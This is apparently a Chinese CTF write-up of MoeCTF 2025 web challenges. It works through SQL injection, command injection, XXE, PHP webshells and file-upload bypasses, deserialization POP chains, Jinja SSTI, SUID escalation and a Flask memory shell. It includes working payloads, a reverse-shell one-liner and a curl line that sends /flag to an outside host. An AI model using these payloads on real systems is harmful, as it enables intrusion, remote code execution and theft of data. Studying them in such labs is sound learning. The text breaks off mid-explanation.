经过二次修订，感觉能拿出来看看了。

00 Web入门指北

下载moectf2025__web_signin.txt

F12，去控制台输入那一堆符号，可得flag

01 第一章 神秘的手镯

启动在线环境，进入网站，F12，查看源代码

      <div class="flag">moectf{f_i2_1s_Your_g00d_fri3nd!!}</div>

我们也可以选择文字，把文字拖到输入框。

01 第一章 神秘的手镯_revenge

备份的wanyanzhou.txt，我们可以访问/wanyanzhou.txt.bak，然后自动下载wanyanzhou.txt.bak。

然后依然可以选择文字，拖到输入框。

发现要输入五百遍，此时想到抓包爆破发送请求。

抓包发现：

发送的POST请求，并且是json格式。当然我们不需要管这个，直接Null Payload，Intruder发送即可。

02 第二章 初识金曦玄轨

F12，元素中有hint：

前往/golden_trail看看

往url后面写上这个路径，F12，网络，看http标头

x-jinxi-secret

moectf{0bs3rv3_Th3_Gold3n_traiL}

03 第三章 问剑石！篡天改命！

这个卡了我很久

方法一：浏览器F12，网络，第一个，阻止访问URL，点测试天赋，再看网络，发现新的请求

编辑并重新发送，可以看到第一页Query的表，Key、Value

点body（http请求体），改manifestation=flowing_azure_clouds，取消阻止，再点send，可以看到新请求中的响应里出现"flag": “moectf{G3t_Po5t-tR@nSmiS51on_Is-a_G0Od_M3THoD!1l24d}”,

方法二：burpsuite抓包，打开拦截，点测试天赋，可以看到请求被拦截

修改level=S，manifestation=flowing_azure_clouds，放行就好

04 第四章 金曦破禁与七绝傀儡阵

七绝傀儡阵，七个知识点

第一关：

GET方法直接在url后面带?key=xdsec就可以了

磐石傀儡核心光芒一闪，厚重的石甲缓缓移开！

获得玉简碎片: bW9lY3Rme0Mw（复制粘贴记下来，别像我一样最后漏一个字母。。）那很命苦了

第二关：

POST方法，发现自己还是不太会

1 2 3 4 5 6 7 8

fetch('http://靶机地址/目标路径', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'declaration=织云阁=第一' // 玉板铭文参数 }) .then(response => response.text())

这是极其萌新的时候写的了，不要用这个方法发送POST请求。

再返回网络看请求

得到内容：

href对应的内容即为下一关的路径

这个方法发送POST请求还是太吃操作了嗷，我们可以：

1.直接hackbar快捷发送

2.用burpsuite等抓包工具直接改，具体的可以上网搜。

第三关：

本地访问：X-Forwarded-For:127.0.0.1

抓包，在http请求头里加上这个就行（别忘了留两行空）

第四关：

browser：浏览器

在请求头中加User_Agent:moe browser

让代理变成moe浏览器（因为浏览器是把html文件翻译成网页的代理器，可以这样理解）

第五关：

指定user就是改cookie，因为cookie是身份的象征！

cookie:user=xt

第六关：

指定从哪来，就是改请求头中的Referer（你是从哪跳转过来的）

第七关：

PUT请求：

1 2 3 4 5 6 7 8

fetch('/void_rebirth', { method: 'PUT', headers: { 'Content-Type': 'text/plain; charset=UTF-8' }, body: '新生！' }) .then(response => response.text())

再次说明，如果要发送PUT请求不要用这种控制台直接传入的方法，慢而且复杂。

方法依然是用hackbar或者burpsuite，hackbar可以修改成看原格式。

玄机秘钥：

拼接，使用base64解码，可得：moectf{C0n<ò47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!

05 第五章 打上门来！

很明显是目录穿梭这种技法

./是往里走，../是往外走

连续输入两次../发现了一个叫flag的文件，那他是不是flag呢，好难猜。

06 第六章 藏经禁制？玄机初探！

一个SQL注入的引入，这个万能账密屡试不爽

具体原理是这种账密都是一串SQL命令，

select * from user where username=' '=' ' and password=' '=' '

很明显，用双等号可以让命令恒成立，也就是永远输出True

07 第七章 灵蛛探穴与阴阳双生符

有这样一个文件，它是一个存放在网站根目录下的纯文本文件，用于告知搜索引擎爬虫哪些页面可以抓取，哪些页面不应被抓取。它是网站与搜索引擎之间的 “协议”，帮助网站管理爬虫的访问行为，保护隐私内容、节省服务器资源或引导爬虫优先抓取重要页面。

根据提示可知这是robots文件，打开看到

貌似是不准看flag.php文件，但是我们还是点开看看

不难看出，这是一个PHP 弱类型比较的题目，既要满足a和b的参数值不同，还要求a和b的哈希值相同。

我们可以构造特殊字符串，使它们的 MD5 都以 0e 开头：

1	QNKCDZO,240610708

1 2 3 4 5

md5("QNKCDZO") = "0e830400451993494058024219903391" md5("240610708") = "0e462097431906509019562988736854" // 比较结果 "0e830400451993494058024219903391" == "0e462097431906509019562988736854" // true

使用GET请求，写这个即可：

1	?a=QNKCDZO&b=240610708

08 第八章 天衍真言，星图显圣

SQL注入，真的卡了很久很久

像上次一样，写了双等号但是只出现welcome admin，Flag呢？？

让我们再想想上次的SQL命令：

select * from user where username=' '=' ' and password=' '=' '
SQL注入，顾名思义是往输入框里写命令，让整个SQL命令执行后获得意外的结果。

那如果我们在user栏写-- ，在linux中-- 是注释，密码就不用管了，但是我们需要用户名，

他都已经写Welcome admin了（

那最后SQL命令可以变成：

select * from user where username='admin' ........

再看提示：

UNION?

Union注入：我们可以用Union Select操作获取数据，但是前提是我们必须知道原始的SQL查询查询了几列数据（数据大部分都是表格的形式，后面我们还要加数据）

我们可以先确定列数：

1 2 3

admin' order by 2 -- admin' order by 3 -- ...

以此类推，但是操作发现到3就不行了，也就是说只有两列。

现在可以使用union select联合注入：

1	admin' union select database(),2 --

尝试掏出数据库1的名字，但是仍然是Welcome admin

我们把admin改成1，结果得到：

下一步爆表名：

1	1' union select group_concat(table_name), 2 from information_schema.tables where table_schema=database() --

得到：

下一步爆列名：

1	1' union select group_concat(column_name), 2 from information_schema.columns where table_name='flag' --

得到：

最后，获取flag的value：

1	1' union select value, 2 from flag --

得到：

太不容易了我去，但是其实打到现在应该知道flag值就叫value,可以省很多步骤直接拿value

09 第九章 星墟禁制·天机问路

先随便填，看结果：

很明显，网站将输入的内容当作域名进行DNS查询，也就是说也是有命令的，我们仍然可以注入某些神秘命令扰乱。

1

; env

没错，平平无奇，但是当时烧了我很久。

但是知道环境变量这个东西，就差不多了。

;这个分号，就是分隔命令用的。

一般输入一个env，就可以直接获得环境变量。

一般的flag的位置，在文件里，在env里，请求头里。

10 第十章 天机符阵

题目故作轻松说flag在flag.txt里，打开页面：

再看flag.txt，

我当时没看懂这第十章的神秘难度。

10 第十章 天机符阵_revenge（XXE盲注）

这里不给进flag.txt里了，随意输入：

可以看到输出里面有关键字：XML

XML是PHP的一种文档，需要Expat Parser或者Dom或者SimpleXML来解析。

很明显他用的是DOM，那我们就用DOM的格式写一段：

可见，没有再报错了，那我们得让输出里写出flag啊。

这种我们可以进行xxe攻击（XML External Entity）：

1 2 3 4 5

<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>

这种!DOCTYPE foo是盲注XXE，但是我们用

1 2 3 4 5

<?xml version="1.0"?> //避免兼容性问题 <!DOCTYPE data [ <!ENTITY xxe SYSTEM "php://filter/resource=/flag.txt"> ]> <输出>&xxe;</输出>

定义文档类型定义[DTD（!DOCTYPE data[]）]是XXE攻击的灵魂，我们声明根元素是<data>，然后开始DTD定义。

!ENTITY是一个外部实体定义，我们声明xxe是一个可以读取"php://filter/resource=/flag.txt"的实体。

system是一个关键字，他告诉解析器后面的内容是一个外部资源的URI，读取这个文件路径。

fulian师傅的做法更严谨：

1 2 3 4 5 6

<?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data ANY> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt"> ]> <输出>&xxe;</输出>

再base64解码。

有的时候flag里的符号会被转义，所以utf-8可能出不来，所以转换成base64。

11 第十一章 千机变·破妄之眼（revenge版）

该说不说，这moe真的有b格。

我们先写一个mnopq全排列的脚本，生成wordlist.txt。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

import argparse from itertools import permutations def gen_perms(s: str): """对可能含重复字符的字符串去重后输出全排列""" seen = set() for p in permutations(s, len(s)): w = ''.join(p) if w not in seen: seen.add(w) yield w def main(): ap = argparse.ArgumentParser(description="Generate all permutations for a Burp wordlist.") ap.add_argument("-s", "--string", default="mnopq", help="要全排列的字符串") ap.add_argument("-o", "--output", default="wordlist.txt", help="输出文件名") args = ap.parse_args() count = 0 with open(args.output, "w", encoding="utf-8", newline="\n") as f: for w in gen_perms(args.string): f.write(w + "\n") count += 1 print(f"已写入 {count} 行到 {args.output}") if __name__ == "__main__": main()

然后放到intruder里爆破，碰撞攻击，然后看到状态码302的跳转页面，看响应头可以知道：

跳转到的页面是/find.php。

进去看到赤裸裸的flag，

但是看不到，这时候输入php://filter/convert.base64-encode/resource=./flag.php，将内容进行base64编码，就能看到flag了。

是这样的，如果flag在php脚本中没有回显，我们就看不到。

12 第十二章 玉魄玄关·破妄

页面内容短小精悍，这一串其实叫做：一句话木马。

<?php是php的文件头，

@eval()会把括号里的内容当做php代码执行，

$_POST就是获取参数post的值，

['cmd']是获取post里的cmd值，

简单讲，是蚁剑连接密码是cmd。

打开蚁剑，虚拟终端，输入env，最下面就是flag。

当然这个cmd，我们可以用POST方法传入cmd=system('env')，这样也能获取环境变量。

13 第十三章 通幽关·灵纹诡影

这是图片马的题目。

我们看一下规则：

1. 内存不超过30000字节，大概是29kb以下
2. 必须包含十六进制校验码：FFD8FF

我们了解到，FFD8FF是jpg文件的文件头，那我们既要传带恶意代码的php文件，又要让文件头是jpg文件的，方法如下：

找一个29KB之内的图片，再写一个含<?php @eval($_POST['a'])的php脚本，在地址栏里输入cmd，再输入：

1	copy /b xxxx.jpg + xxx.php xxx.jpg.php

这样我们就拥有了一个有jpg文件头的php脚本，传进去当然是没有问题的，最后用蚁剑连接，终端env结束战斗。

文件名解析特性：

• 某些服务器（尤其是Windows服务器）会忽略文件名中最后一个点之后的内容
• 因此 shell.php. 会被解析为 shell.php
• shell.php.jpg 可能被解析为 shell.php（如果服务器配置不当）

所以**.php.**这种也行。

Moe笑传之猜猜爆（代码审计）

这也是一道我痛苦了很久的题目。

二刷：

桀桀桀，果然刷题是有用的。

查看main.js，源代码如下：

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73

let randomNumber = Math.floor(Math.random()*10000) + 1; // 1-10000 const guesses = document.querySelector('.guesses'); const lastResult = document.querySelector('.lastResult'); const lowOrHi = document.querySelector('.lowOrHi'); const guessBtn = document.getElementById('guessBtn'); const guessField = document.getElementById('guessField'); let guessCount = 1; let resetButton; function checkGuess() { let userGuess = Number(guessField.value); if(guessCount === 1) { guesses.textContent = '上次猜的数：'; } guesses.textContent += userGuess + ' '; if(userGuess === randomNumber) { lastResult.textContent = '恭喜你！猜对了！'; lastResult.style.backgroundColor = 'green'; lowOrHi.textContent = ''; guessField.disabled = true; guessBtn.disabled = true; // 猜对后请求flag fetch('/flag', {method: 'POST'}) .then(res => res.json()) .then(data => { document.querySelector('.flagResult').textContent = "FLAG: " + data.flag; }); setGameOver(); } else { lastResult.textContent = '!!!游戏结束!!!'; lastResult.style.backgroundColor = 'red'; if(userGuess < randomNumber) { lowOrHi.textContent = '你刚才猜低了！'; } else if(userGuess > randomNumber) { lowOrHi.textContent = '你刚才猜高了！'; } guessField.disabled = true; guessBtn.disabled = true; setGameOver(); } guessCount++; guessField.value = ''; guessField.focus(); } guessBtn.addEventListener('click', checkGuess); function setGameOver() { resetButton = document.createElement('button'); resetButton.textContent = '开始新游戏'; document.body.appendChild(resetButton); resetButton.addEventListener('click', resetGame); } function resetGame() { guessCount = 1; const resetParas = document.querySelectorAll('.resultParas p'); for(let i = 0; i < resetParas.length; i++) { resetParas[i].textContent = ''; } resetButton.parentNode.removeChild(resetButton); guessField.disabled = false; guessBtn.disabled = false; guessField.value = ''; guessField.focus(); lastResult.style.backgroundColor = 'white'; randomNumber = Math.floor(Math.random()*10000) + 1; // 1-10000 }

我们直接设置断点（这里要在randomnumber被设定之后，检查相等之前），

随便写一个数，点击提交，页面暂停。

直接能看到随机数，我们再写userGuess=1007，结束。

摸金偶遇FLAG，拼尽全力难战胜

题目条件比较苛刻，只有三秒，我们可以找到源码设置断点：

设置下一行的断点，然后刷新页面，控制台里改时间：

改成1000秒，再破译。依然没有flag，看到verify接口报错，应该是后端检测时间的问题。

这个answers从哪来，

从这个/get_challenge?count=9里拿numbers，然后挂在answers里就可以了。

1
2
3
4
5
6
7
8

import requests

session = requests.Session()
resp = session.get("http://127.0.0.1:62393/get_challenge?count=9")
data = resp.json()
up = {'answers':data['numbers'],'token':data['token']}
resp = session.post("http://127.0.0.1:62393/verify", json=up)
print(resp.text)

14 第十四章 御神关·补天玉碑

这次我们把文件名字改成**.php.jpg**，其余操作和上次一样。

Apache的格式：

1 2 3 4

<IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^article/([0-9]+)$ article.php?id=$1 [L] </IfModule>

15 第十五章 归真关·竞时净魔

所谓竞时净魔，就是要抢时间。

看规则，了解到上传后再检测并重命名，也就是说我们是先上传的文件，服务器再重命名。在这个时间空隙里，只要我们访问上传的文件，文件就会执行一次命令。

这就是条件竞争。

我们的方法很多，但是所有的方法前面的操作相似。

抓包上传的POST请求，发送到intruder模块，Sniper攻击，选择null payload，无限制次数，变量选择一个空格。

再另开一个网页，访问这个文件，同样抓包GET请求，依然发送到intruder模块攻击。

同时进行爆破，就达成了边上传边访问文件（执行命令）的效果。

那不同的就是我们上传的文件。

1.创建新的一句话木马文件

1 2 3 4 5 6 7

<?php $a='PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+'; $myfile = fopen("shell.php", "w"); fwrite($myfile, base64_decode($a)); fclose($myfile); ?>

我们用这个，PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+是一句话木马的base64编码。

访问它，会创建一个shell.php的文件，文件包含的就是一句话木马。

也是很成功的包含进来了，用蚁剑连接就好了。

不过fulian师傅说，放在/var/www/html/里更保险，这个目录下面是index.php，upload.php之类的，是不可能被删的。

2.直接读取flag

flag大概是放在最开始的目录里，即var的上一级目录。

我们现在在html的下下一级目录，那我们访问flag，需要../../../../flag.txt

1 2 3

<?php echo `cat ../../../../flag.txt` ?>

不过我没有成功…

16 第十六章 昆仑星途

题目给了一个附件source.zip，附件里包含index.php，entrypoint.sh，一个打不开的文件，一个ini配置文件。

看到index.php是一个文件包含漏洞，

1
2
3
4
5

<?php
error_reporting(0);
highlight_file(__FILE__);

include($_GET['file'] . ".php");

用GET方法传入file，后面一定会加一个.php的后缀。

1
2
3
4

#!/bin/bash
echo $FLAG > /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 30).txt
unset FLAG
apache2-foreground

我们了解到，

whoami 和 who 是在 Unix 和 Linux 系统中用于查询用户信息的命令。

题目要求：“但有条件——三息之内，说出星核真名！”

名字的话，我们可以试试data伪协议，后面直接接linux命令。

payload:

1

?file=data://text/plain,<?php system('whoami');?>

空格换成%20，引号换成%27（根本没有WAF

原来写whoami是用来测试能不能命令执行的（还有id），我以为有什么高级用法）

查看源代码，实则只有www-data，.php应该是自动带的后缀。

17 第十七章 星骸迷阵·神念重构

还是Moe好…毕竟也是入坑打的第一个比赛，我真的在这里学到了很多很多东西…这才是新生赛吧，这才是真正入门的反序列化吧。为什么最近打的新生赛都那么难，把我做晕了都…

还是想说，为什么要怕新生用AI梭呢，新生赛重要的不是让大家了解上喜欢上CTF吗…不是因为难才用AI吗，反倒为了反AI把难度加大，最后筛选出的大多是擅用AI的人，对CTF很难长相厮守日久生情吧…

难道不是难度小，让不用AI的也拥有一战之力才好嘛，这才是反AI成功了吧——25.10.14

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php
highlight_file(__FILE__);


class A {
    public $a;
    function __destruct() {
        eval($this->a);
    }
}

if(isset($_GET['a'])) {
    unserialize($_GET['a']);
}

highlight_file(__FILE__)的作用是高亮显示当前文件的源代码。

public $a是在定义一个公共成员变量。

__destruct()是一个析构函数，当一个对象的引用全部被删除或者脚本结束时，函数会被自动调用。

最后if的条件结构，检测存在参数a，并对a进行反序列化，将a变成php对象。

我们现在处在if结构里，有我们完全可控的变量a，这个结构就是我们的Source（源点）.

而__destruct()中有eval()，可供我们利用，这就是我们的Sink（汇点）.

Source-->Sink完整的链，称作POP链(Property-Oriented Programming).

在利用之前，我们需要了解什么是序列化（serialize）和反序列化(unserialize)。

序列化与反序列化

序列化可以将php中的数据结构（对象，数组等）转换成一个可以存储或传输的字符串表示形式。

例如：

1
2
3
4
5
6
7

class A {
    public $name = "CTFer";
    private $secret = "secret_info";
}
$obj = new MyClass();
$serialized_string = serialize($obj);
// echo $serialized_string;

输出：O:7:"MyClass":2:{s:4:"name";s:5:"CTFer";s:15:"MyClasssecret";s:11:"secret_info";}

反序列化接受一个序列化后的字符串，将其还原成原始的php数据结构。

如果一个字符串被反序列化成功，他就存在于当前的php上下文中了。当这个对象不再被引用、或者脚本执行结束后，它的__destruct()方法会被自动调用。（类似的可以利用的还有__wakeup()）

​ 这是php反序列化漏洞最核心的触发点。

构造Payload

我们需要构造一个A类对象，并让它的公共属性a包含我们需要的代码。

然后我们编写脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<?php
    class A{
    public $a;
    // 在本地构造Payload时，我们不需要析构函数的内容，
    // 只需要类名和属性名正确即可。
}

$payload_obj = new A();
// 设置 a 属性为我们想执行的恶意代码。
$payload_obj->a = "system('ls ../../../');";
// 使用 serialize() 函数生成序列化字符串
$payload = serialize($payload_obj);

echo $payload;
?>

我们得到的结果是：

1

O:1:"A":1:{s:1:"a";s:23:"system('ls ../../../');";}

1

O:1:"A":1:{s:1:"a";s:28:"system('cat ../../../flag');";}

更简洁的代码：

1
2
3
4
5

<?php
class A {
    public $a = "system(\"cat /flag\");";
}
echo urlencode(serialize(new A()));

和题目一起看：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php
highlight_file(__FILE__);


class A {
    public $a;
    function __destruct() {
        eval($this->a);
    }
}

if(isset($_GET['a'])) {
    unserialize($_GET['a']);
}

18 第十八章 万卷诡阁·功法连环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php
highlight_file(__FILE__);

class PersonA {
    private $name;
    function __wakeup() {
        $name=$this->name;
        $name->work();
    }
}

class PersonB {
    public $name;
    function work(){
        $name=$this->name;
        eval($name);
    }

}

if(isset($_GET['person'])) {
    unserialize($_GET['person']);
}

PersonA

这次的PersonA类里有一个私有属性$name，还有一个__wakeup()魔术方法，这个方法在对象被反序列化时自动调用。

__wakeup()方法，会将$this变量的name属性赋值给name局部变量，再调用name变量的work()方法。

PersonB

PersonB类中定义一个公有属性name，还有一个work()普通方法。

work()方法，会将$this变量的name属性赋值给name局部变量，再用eval执行命令。

怎么构造pop链？

如果反序列化一个PersonA对象，__wakeup()方法就被调用，同时让PersonA的name属性是一个PersonB的对象实例，那么PersonB的work()方法也就被调用了，那自然eval()函数就被调用，参数是他自己的name属性。

unserialize(PersonA) -> PersonA::__wakeup() -> $name->work() -> PersonB::work() -> eval($name)

构造Payload

1
2
3
4
5
6
7
8
9
10
11
12

<?php
class PersonA {
    private $name;
    // 一个构造函数，在创建PersonA对象时自动调用
    function __construct() {
        $this->name = new PersonB();
    }
}
class PersonB {
    public $name="system('ls ../../../');";
}
echo urlencode(serialize(new PersonA()));

最后我是这样写的：

1
2
3
4
5
6
7
8
9
10
11
12

<?php
class PersonA{
    private $name;
    function __construct(){
        $this->name = new PersonB();
    }
}
class PersonB{
    public $name = "system('cat ../../../flag');";
}
echo urlencode(serialize(new PersonA()));
?>

虽然确实是一样的（

但好歹是我自己敲出来的()

19 第十九章 星穹真相·补天归源_revenge

直接上revenge吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

<?php
highlight_file(__FILE__);

class Person
{
    public $name;
    public $id;
    public $age;
}

class PersonA extends Person
{
    public function __destruct()
    {
        $name = $this->name;
        $id = $this->id;
        $name->$id($this->age);
    }
}

class PersonB extends Person
{
    public function __set($key, $value)
    {
        $this->name = $value;
    }

    public function __invoke($id)
    {
        $name = $this->id;
        $name->name = $id;
        $name->age = $this->name;
    }
}

class PersonC extends Person
{
    public function check($age)
    {
        $name=$this->name;
        if($age == null)
        {
            die("Age can't be empty.");
        }
        else if($name === "system")
        {
            die("Hacker!");
        }
        else
        {
            var_dump($name($age));
        }
    }

    public function __wakeup()
    {
        $name = $this->id;
        $name->age = $this->age;
        $name($this);
    }
}

if(isset($_GET['person']))
{
    $person = unserialize($_GET['person']);
}

先给出POP链，假设我们已经知道怎么做了（等懂了再回来看就知道怎么做了）：

unserialize() -> PersonC::__wakeup() -> Person::__invoke() [在PersonB对象上触发] -> PersonA::__destruct() -> PersonC::Check() -> system()

• __wakeup()：当对象被反序列化后自动调用。
• __invoke()：当对象被当做函数调用时自动调用。
• __destruct()：当一个对象被销毁时自动调用。

我们首先看最后的unserialize()，当person参数被反序列化了之后，首先被调用的是被反序列化后自动调用的__wakeup()魔术方法。

那我们看向__wakeup()：

• 第一句：$name被赋值为C类id属性的对应值，

• 第二句：$name的age属性被赋值为C类age属性的对应值，

  那看到这我们就应该知道，$name得是一个其他类的实例化。

• 第三句：直接将$name当做函数使用。

我们需要进入下一个流程，此时去找魔术方法，只能找被当做函数调用时自动调用的__invoke()方法，正中第三句下怀。

从而得知，我们exp第一句要写：

1
2

$c = new PersonC();
$c->id = new PersonB();

进入__invoke()：

• 第一句：$name被赋值为B类id属性的对应值，

• 第二句：$name的name属性被赋值为id变量的对应值，

  到这我们又能看出，$name得是一个其他类的实例化，那肯定是A的实例化了。

  $id是啥，是上个$name($this)里的$this，即为$c。

  PersonA->name变为了PersonC类的实例化。

  $name变为了PersonA类的实例化。

• 第三句:$name的age属性被赋值，

  PersonA->age变为了PersonB->name的值。

exp第二句：

1
2
3

$b = new PersonB();
$b->id = new PersonA();
$b->name = ???; //这里对应PersonA->age的值

进入__destruct()：

• 第一句：$name被赋值为A类name属性的值，
• 第二句：$id被赋值为A类id属性的值，
• 第三句：将$name的$id方法当做函数，PersonA->age做参数执行。

那好，首先$name有方法，代表$name必须是类的实例化，对应是什么类，我们需要再分析。

然后$name->$id必须要能被当做函数，还有什么函数忘记了？

Check()，C类的check(),然后PersonA->age被当做参数。

exp第三句：

1
2
3

$a = new PersonA();
$a->name = $c;
$a->id = "check";

我们看向check()：

粗略看出这是最后的payload检验环节。

var_dump() 是 PHP 的一个调试输出函数：把变量的类型和值/结构原样打印出来（直接输出到页面/标准输出），方便你看清楚变量里到底是什么。

和其它输出函数的区别：

• echo / print：只把内容当字符串打印，不显示类型结构。
• print_r()：打印结构但更简略，不显示类型/长度那么详细。
• var_export()：以可执行 PHP 表达式的形式导出变量（适合生成配置）。

这里明显是把$name($age)打出来。

第一句：$name被赋值为C类name属性的值，

第二句进入if中，条件是$age != null，也就是说PersonA->age不能为空，而且很明显就是我们要写的命令。

往回看，还有一个$b->name没有赋值，我们需要赋的就是我们的最终命令。

$age外层是$name，可想而知，$name是system之类的执行函数,但是system被ban，我们还可以用file_get_contents()。

与之对应的，$b->name必须是文件路径，moe很喜欢把flag直接放环境变量，所以直接找/proc/self/environ。

exp第四句：

1
2

$b->name = "/proc/self/environ";
$c->name= "file_get_contents";

合起来（要保证出现变量前有定义，所以适当调整顺序）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

<?php
class PersonA{
    public $name;
    public $id;
    public $age;
}
class PersonB{
    public $name;
    public $id;
    public $age;
}
class PersonC{
    public $name;
    public $id;
    public $age;
}

$c = new PersonC();
$b = new PersonB();
$c->id = $b;
$a = new PersonA();
$b->id = $a;
$b->name = "/proc/self/environ";
$a->name = $c;
$a->id = "check";

$c->name= "file_get_contents";

echo urlencode(serialize($c));
?>

爽！

20 第二十章 幽冥血海·幻语心魔

这是一道SSTI题目。

因为我先做了CTFShow的题目，所以就直接用比较简单的方法：

1

{{lipsum.__globals__.os.popen('cat /flag').read()}}

没有任何过滤。

21 第二十一章 往生漩涡·言灵死局

简单限制了{{}}，__，globals等。

• 前者用{%print()%}可以绕过。
• 后者用字符串拼接，或者用attr + request.values.xxx绕过。

官方payload：

1

/?username={%print(lipsum['_''_glo''bals_''_']['os']['popen']('whoami').read())%}&password=1

我的Payload：

1

/?username={%print((lipsum|attr(request.values.a)).os.popen('cat /flag').read())%}&a=__globals__&password=1

22 第二十二章 血海核心·千年手段

还是从这个题开始，学一下无回显吧。
我在CTFShow SSTI里学到了反弹shell/外带，

反弹shell的原理： 命令受害者服务器(Target)主动连接我的公网VPS(Attacker)。

命令示例： bash -i >& /dev/tcp/ip/port 0>&1

但是这道题因为防火墙策略限制了出站流量，Target发不出包，所以服务器也不可能监听到连接。

外带数据的原理（OOB -> Out Of Band）： 利用DNS或HTTP请求把数据带出来。

命令示例： curl http://ip/?data=$(cat /flag)

同样因为断网，curl和wget无法访问外部网络。

建立通道：

写文件到static（法一）：

页面不给回显，最简单的方法就是去创造一个回显。我们可以使用静态文件写入的办法，把结果写到一个我知道路径、且能在浏览器里直接访问的文件里。

Payload:

1

{{lipsum.__globals__.get('os').popen('mkdir static; whoami > ./static/out.txt')}}

我们之前写.popen是会带.read()的，这次重定向进./static/out.txt，再直接访问这个路径，变相地完成了我们的read().

我这里访问http://127.0.0.1:22795/static/out.txt，就能看到命令的结果。

mkdir：为了保险，先创建一个文件夹static（通常Web框架都会暴露static目录）。

SUID提权：

我们拿到shell，但是发现自己是低权限用户（MoeCTFer）。

输入ls / -al就可以看flag文件的权限，

权限部分-rw-------的解释：

十个字符，结构是：

1
2

[1]   [2-4]   [5-7]   [8-10]
类型  拥有者   组用户   其它用户

• -文件类型为普通文件(regular file)(还有d:目录(directory)，l:符号链接(symlink),c:字符设备(character device),b:块设备(block device),p(命名管道),s(socket))
• rw-：owner权限为可读可写、不能执行(r:可读(read),w:可写(write),x:可执行/可进入(execute、对目录是可进入)、-:无权限 )
• ---：group权限为无权限
• ---：others权限为无权限

读不了/flag，所以我们就要去找具有SUID权限的文件。

SUID：如果一个程序被赋予了SUID权限（权限位是s），那么任何人运行它，它都会以该程序拥有者(root)的身份运行。

用find / -perm -4000这个命令去寻找，-perm用来按权限匹配文件，4000是一个权限位，表示SUID位（set-user-ID），用-4000表示只要文件包含4000就算匹配。

找到如下文件：

正常情况下，rev只是用来把字符串倒序输出的工具，它不应该有SUID，也不应该能执行命令。这明显是出题人留下的后门，让我们进一进出题人的后门。

很明显，我们需要看rev的源码，这里有两种方法：

1.直接看c文件源码：

通常情况下，管理员编译一个程序，步骤是先写一个c语言文件，再用gcc编译成可执行文件rev。如果管理员不小心编译完忘了删掉源文件，就可以被我们直接读取（那真的很不小心了）。

用ls /usr/bin/rev* -la可以看到：

这里的s代表特殊位，表示setuid + 可执行。

setuid就是SUID！

类似的还有：

• 大写S：没有执行权限，但设置了SUID（没什么用）
• 小写t：有执行权限 + sticky bit（/tmp目录权限）（sticky bit表示文件谁创建谁才能删）
• 大写T：没有执行权限 + sticky bit
• +：表示该文件有额外的ACL（访问控制列表）
• .：有时表示SELinux等扩展安全属性

直接cat usr/bin/rev.c，查看c源代码：

1
2
3
4
5
6
7
8
9
10
11
12
13

#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {

    for(int i = 1; i + 1 < argc; i++) {
        if (strcmp("--HDdss", argv[i]) == 0) {
            execvp(argv[i + 1], &argv[i + 1]);
        }
    }

    return 0;
}

在C语言里，main函数可以带两个参数：

• argc：argument count，命令行参数个数
• argv：argument vector，命令行参数数组

举个例子，如果我们写：

1

./myprog --HDdss ls -l /tmp

参数就是：

• argv[0] = "./myprog"

• argv[1] = "--HDdss"

• argv[2] = "ls"

• argv[3] = "-l"

• argv[4] = "/tmp"

argc == 5

1
2
3
4
5
6
7

execvp(argv[i + 1], &argv[i + 1]);
    ↓                 ↓
execvp("ls",      &argv[2]);
                      ↓
                相当于传入一个数组：
                ["ls", "-l", "/tmp", NULL]

这部分总的来说就是把rev --HDdss ...里的...以root权限执行。

我们最终的payload写：

1
2

{{lipsum.__globals__.get('os').popen('mkdir static; rev --HDdss cat /flag > ./static/out.txt')}}
--> moectf{684f283a-96a5-18b1-6878-fee34750cdc1}

孩子们，我突破了！

打内存马（Memory Shell）（法二）：

这是更进阶更通用的方法。逻辑是修改Flask框架在内存中的运行逻辑，强行让它在处理请求时夹带私货。

最终的payload：

1

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.form.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.form.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

url_for.__globals__['builtins__']['eval']这一段无非是构造出eval，app.after_request_funcs中的after_request涉及到钩子(hooks)这个概念。

钩子：

在编程框架中，钩子是在视图函数处理前后加工请求的东西。
正常的流程：

1
2
3
4

用户发来请求 -> 视图函数处理(view function) -> 返回结果给用户 --------------->
			  |								   |								|
		before_request（前置钩子）	after_request（后置钩子）		teardown_request（清理钩子）
		（我发现AI的这种文本画图真有点直观）

其中的前置钩子有身份验证、日志记录的功能，后置钩子可以修改响应头、数据压缩，清理钩子就是断开数据库连接。钩子以列表的形式存在（因为有一堆），所以我们塞入一段函数，Flask依然会按顺序执行下去。

钩子讲完，书接上文。app.after_request_funcs是Flask存放所有后置钩子的地方，它是一个字典，结构大概是：

1
2
